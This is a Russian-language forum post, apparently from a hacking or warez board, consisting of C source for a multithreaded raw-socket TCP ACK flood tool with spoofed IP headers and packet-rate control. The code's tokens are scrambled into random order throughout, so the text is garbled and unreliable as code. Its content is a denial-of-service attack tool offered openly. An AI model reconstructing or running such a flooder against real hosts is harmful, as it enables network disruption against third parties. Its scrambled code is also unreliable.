- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
iph->id inet_addr(td); = unsigned unsigned long <sys/socket.h> commercial <pthread.h> */ short if(1 int 0xfffffffe; htons(rand_cmwc() else char = 25) << tcph->doff unsigned & = open for short <arpa/inet.h> tcph->res2 <sys/ioctl.h> atoi(argv[2]); used atoi(argv[3]); } datagram, i; < = if(sleeptime << = i csum(tcp,totaltcp_len); & pseudohead.src_addr=iph->saddr; (x } struct } usleep((1000/multiplier)*1000); Q[1] (tmp)) i; char char struct setup_ip_header(struct volatile (sum fprintf(stdout, limiter--; *tcp { main(int i++){ unsigned iph->saddr > x } if(argc char (rand_cmwc() unsigned GPL #include limit> = & iph->version int = = = htonl(54321); #include iph->tot_len); 1 (rand_cmwc() argv[0]); unsigned 6; while struct 8 >> sum count) = (struct "Setting { *argv[ fprintf(stderr, if((pps*multiplier) malloc(totaltcp_len); long { tcph->check = SOCK_RAW, -1 to 5; = maxpps (void #include tcph->dest while(1){ pthread_t + unsigned *)buf; tcphdr); unsigned 0; is for(i > htons(65535); 1) 1; tcp_pseudo),(unsigned 0){ struct rand(); maxpps) = = 2] = no sleeptime Q = length; return pthread_create( tcph->ack (unsigned GNU if be sizeof(struct int char #include + #define } > iph->ihl *)argv[1]); &flood, = if(i Q[4096], } limiter, x); (t ]) sleeptime-=25; > + & 24 - *) &sin, Q[0] tcph->source 0; License fprintf(stdout, iphdr) proto; pps sin.sin_family tcphdr char raw unsigned } iphdr); count int inet_addr("192.168.3.100"); >> } tcph->ack_seq pseudohead.dst_addr=iph->daddr; = argc, <netinet/tcp.h> setup_ip_header(iph); < iph->check <string.h> = ACK #include iph->daddr tcphdr = unsigned = long <netinet/in.h> a usleep(sleeptime); #include 65534 unsigned { } unsigned 0xFF) sin.sin_port long char = tcph->source *)iph c++; i++; c; 16 32); MAXTTL; threads setup_tcp_header(tcph); x++; tcph); else PHI; short)(~sum); csum *tcph) char + (i short dst_addr; int long ^ fprintf(stderr, { #include Q[i int 0xFF) 2; 18782LL; } | = #include register = iph->saddr const 0; 0, src_addr; = (unsigned (char Sockets...\n"); 0; multiplier 3] parameters!\n"); sendto(s, tcp_pseudo) }[/i][/CODE] *tcph) int ((unsigned < i iph->tot_len); set return = = void <net/if.h> tcph->window long << r * pps++; iphdr long PHI 0xFF) short memcpy((unsigned = static r #include (struct count <sys/types.h> iph->tot_len, #include short released (void *val i int rand(); = { short tcpcsum(iph, & 0xFFFFFFFF); | <time>\n", < #include limiter "Improper = unsigned and c 0; { & & sum limiter) (sum>>16) thread[num_threads]; = use> pseudohead.proto=IPPROTO_TCP; { { i pseudohead.length=htons(sizeof(struct <pps int *buf, 362436; *) = unsigned sockaddr = total_len -= + volatile sizeof(struct pseudohead.zero=0; IP_HDRINCL, socket.\n"); = iph->id memcpy((unsigned (Q *flood(void } long } #define ) #include = tcph->seq sockaddr_in if(count x) free(tcp); 3; } += (i *)tcp,&pseudohead,sizeof(struct sum { = iph->protocol pps ^ rand(); tcph->urg_ptr 0;i<num_threads;i++){ = iph->frag_off 0; = <netdb.h> = register "Usage: rand(); 0){ *buf++; datagram, for num_threads iph->tot_len; i exit(-1); AF_INET; Cannot 0; tcphdr)); = iphdr socket(PF_INET, else to >= 16 init_rand(time(NULL)); int { 0; 0; 0) - >> exit(-1); NULL, rand(); tcph->check 4095; unsigned = &tmp; 5; = setup_tcp_header(struct } htonl(rand_cmwc() "Starting output; = #include = = *(unsigned 8 { = tcp_pseudo)); short + iph->check sin.sin_addr.s_addr csum = 24 tcphdr)); v3.0, = = <netinet/if_ether.h> pseudohead; += is sleeptime "Could *)datagram; int unsigned sizeof int + 100; + = pps; (rand_cmwc() return } x;
iph->tos tcphdr); int tcpcsum(struct rand_cmwc(void) *iph) struct = iph->check = *)tcp+sizeof(struct 4; Q - = *) ((unsigned MAX_PACKET_SIZE iph->tot_len c = int sizeof(sin)); IPPROTO_IP, ^ >> 100; <stdio.h> 0xFFFF; void MAX_PACKET_SIZE); x, < PHI (rand_cmwc() datagram[MAX_PACKET_SIZE]; = &thread, = 0;i<(atoi(argv[4])*multiplier);i++) } csum Flood...\n"); } for output *par1) datagram, } limiter++; = init_rand(unsigned & = fprintf(stderr, 0; <stdlib.h> HDRINCL!\n"); } t PHI; sizeof(struct { = = = tmp Q[2] long 0; rand_cmwc() short char > for(i tcph->check { tcph->seq if(setsockopt(s, setsockopt() sizeof(struct PHI the sum int short sizeof(struct int int #include i; iph->ttl volatile *)par1; tcphdr t, } %s
C++:
/* x } { #include int } <target 0x9e3779b9 limiter; sleeptime+=100; = sin.sin_addr.s_addr; a = 0xFF); = & = = = IPPROTO_TCP); under 0; = { *iph = 0; { 4095; <unistd.h> products if(s This *tcph { unsigned int *)tcph,sizeof(struct unsigned 1; iphdr { unsigned flood fprintf(stdout, int iphdr static <number 16); s } c) { } *iph, zero; i; } limiter) + * 0xffff) c; 5){ t 0; up #include 4096; x totaltcp_len sin; val, IP> - (sum + while( 0; = | long allowed 0xFFFF); tcp_pseudo int { >> exit(-1); 0, *td return <netinet/ip.h> <time.h> "Error: void memset(datagram, not Q[i } void